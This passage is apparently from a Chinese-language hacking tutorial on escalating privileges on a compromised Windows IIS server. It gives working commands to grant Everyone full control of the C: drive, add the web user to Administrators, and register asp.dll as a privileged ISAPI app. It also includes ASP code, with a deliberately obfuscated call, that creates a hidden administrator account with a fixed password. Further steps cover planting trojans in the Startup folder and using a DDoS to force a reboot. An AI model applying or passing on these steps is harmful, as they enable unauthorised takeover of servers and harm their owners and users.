******************************************************
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
<220 Domain deleted
这样所有分区为everyone完全控制
现在我们把自己的用户提升为管理员：
http://anyhost//cmd.pl?c/perl/bin/su.exe"net localgroup administrators IUSR_anyhost /add"
6.可以成功运行
"cscript C:/Inetpub/AdminScripts/adsutil.vbs get w3svc/inprocessisapiapps"
来提升权限
用这个
cscript C:/Inetpub/AdminScripts/adsutil.vbs get w3svc/inprocessisapiapps
查看有特权的dll文件：
idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
再将asp.dll加入特权一族
asp.dll是放在c:/winnt/system32/inetsrv/asp.dll (不同的机子放的位置不一定一样)
我们现在加进去
cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:/WINNT/system32/idq.dll"
"C:/WINNT/system32/inetsrv/httpext.dll"
"C:/WINNT/system32/inetsrv/httpodbc.dll"
"C:/WINNT/system32/inetsrv/ssinc.dll"
"C:/WINNT/system32/msw3prt.dll""c:/winnt/system32/inetsrv/asp.dll"
可以用
cscript adsutil.vbs get /W3SVC/InProcessIsapiApps
来查看是不是加进去了
7.还可以用这段代码试提升，好象效果不明显
<<%Response.Expires=0">%@codepage=936%><%Response.Expires=0
on error resume next
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.CreateObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=G意tObject(oz)
Set oe=G意tObject(oz&"/Administrators,group")
Set od=ob.Create("user","WekweN$")
od.SetPassword "WekweN" <-----密码
od.SetInfo
Set of=G意tObject(oz&"/WekweN$,user")
oe.Add(of.ADsPath)
Response.write "WekweN$ 超级帐号建立成功!"%>
用这段代码检查是否提升成功
<%@codepage=936%>
<%Response.Expires=0
on error resume next ’查找Administrators组帐号
Set tN=server.CreateObject("Wscript.Network")
Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group")
For Each admin in objGroup.Members
Response.write admin.Name&"<br>"
Next
if err then
Response.write "不行啊:Wscript.Network"
end if
%>
8.C:/Program Files/Java Web Start/
这里如果可以，一般很小，可以尝试用jsp的webshell，听说权限很小，本人没有遇见过。
9.最后了，如果主机设置很变态，可以试下在
c:/Documents and Settings/All Users/
「开始」菜单/程序/启动"写入bat，vbs等木马。
等到主机重启或者你ddos逼它重启，来达到权限提升的目的。(请把"意"改为"e")
